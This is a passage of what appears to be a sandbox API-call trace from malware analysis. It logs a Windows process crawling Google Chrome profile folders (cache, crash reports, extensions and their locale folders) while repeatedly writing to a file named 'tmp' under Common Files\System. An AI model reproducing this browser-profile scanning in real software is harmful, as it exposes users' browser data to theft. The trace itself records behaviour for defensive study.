Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0135.139] GetFileType (hFile=0x184) returned 0x1 [0135.140] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0135.140] AreFileApisANSI () returned 1 [0135.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0135.140] GetFileType (hFile=0x188) returned 0x1 [0135.140] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0135.140] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0135.140] GetLastError () returned 0x12 [0135.140] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0135.141] GetLastError () returned 0x12 [0135.141] AreFileApisANSI () returned 1 [0135.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0135.141] GetFileType (hFile=0x184) returned 0x1 [0135.141] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0135.141] AreFileApisANSI () returned 1 [0135.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0135.141] GetFileType (hFile=0x188) returned 0x1 [0135.141] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0135.142] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0135.142] GetLastError () returned 0x12 [0135.142] AreFileApisANSI () returned 1 [0135.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0135.142] GetFileType (hFile=0x188) returned 0x1 [0135.142] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19b, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0135.143] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0135.144] GetLastError () returned 0x12 [0135.144] AreFileApisANSI () returned 1 [0135.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0135.144] GetFileType (hFile=0x188) returned 0x1 [0135.144] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0135.145] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0135.146] GetLastError () returned 0x12 [0135.146] AreFileApisANSI () returned 1 [0135.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0135.146] GetFileType (hFile=0x188) returned 0x1 [0135.146] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0135.147] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0135.148] GetLastError () returned 0x12 [0135.148] AreFileApisANSI () returned 1 [0135.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0135.148] GetFileType (hFile=0x188) returned 0x1 [0135.148] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x887d70, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0135.148] AreFileApisANSI () returned 1 [0135.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0135.148] GetFileType (hFile=0x18c) returned 0x1 [0135.148] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0135.149] AreFileApisANSI () returned 1 [0135.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0135.149] GetFileType (hFile=0x190) returned 0x1 [0135.149] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0135.149] AreFileApisANSI () returned 1 [0135.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0135.149] GetFileType (hFile=0x194) returned 0x1 [0135.149] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0135.197] AreFileApisANSI () returned 1 [0135.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.197] GetFileType (hFile=0x198) returned 0x1 [0135.197] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.197] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.197] GetLastError () returned 0x12 [0135.197] AreFileApisANSI () returned 1 [0135.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.198] GetFileType (hFile=0x198) returned 0x1 [0135.198] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.198] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.198] GetLastError () returned 0x12 [0135.198] AreFileApisANSI () returned 1 [0135.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.198] GetFileType (hFile=0x198) returned 0x1 [0135.198] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.289] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.289] GetLastError () returned 0x12 [0135.289] AreFileApisANSI () returned 1 [0135.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.289] GetFileType (hFile=0x198) returned 0x1 [0135.290] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.290] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.290] GetLastError () returned 0x12 [0135.290] AreFileApisANSI () returned 1 [0135.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.290] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.290] GetFileType (hFile=0x198) returned 0x1 [0135.290] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.367] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a7080 | out: hHeap=0x7b0000) returned 1 [0135.367] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.367] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.367] GetLastError () returned 0x12 [0135.367] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.367] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.367] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.367] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8669e0 | out: hHeap=0x7b0000) returned 1 [0135.368] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.368] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.368] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.368] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.368] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.368] AreFileApisANSI () returned 1 [0135.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.368] GetFileType (hFile=0x198) returned 0x1 [0135.368] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.369] GetLastError () returned 0xb7 [0135.369] SetLastError (dwErrCode=0xb7) [0135.369] GetLastError () returned 0xb7 [0135.369] SetLastError (dwErrCode=0xb7) [0135.369] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.369] GetLastError () returned 0xb7 [0135.369] SetLastError (dwErrCode=0xb7) [0135.369] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.369] CloseHandle (hObject=0x198) returned 1 [0135.372] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a7080 | out: hHeap=0x7b0000) returned 1 [0135.372] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.372] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a7080 | out: hHeap=0x7b0000) returned 1 [0135.372] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.372] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.373] 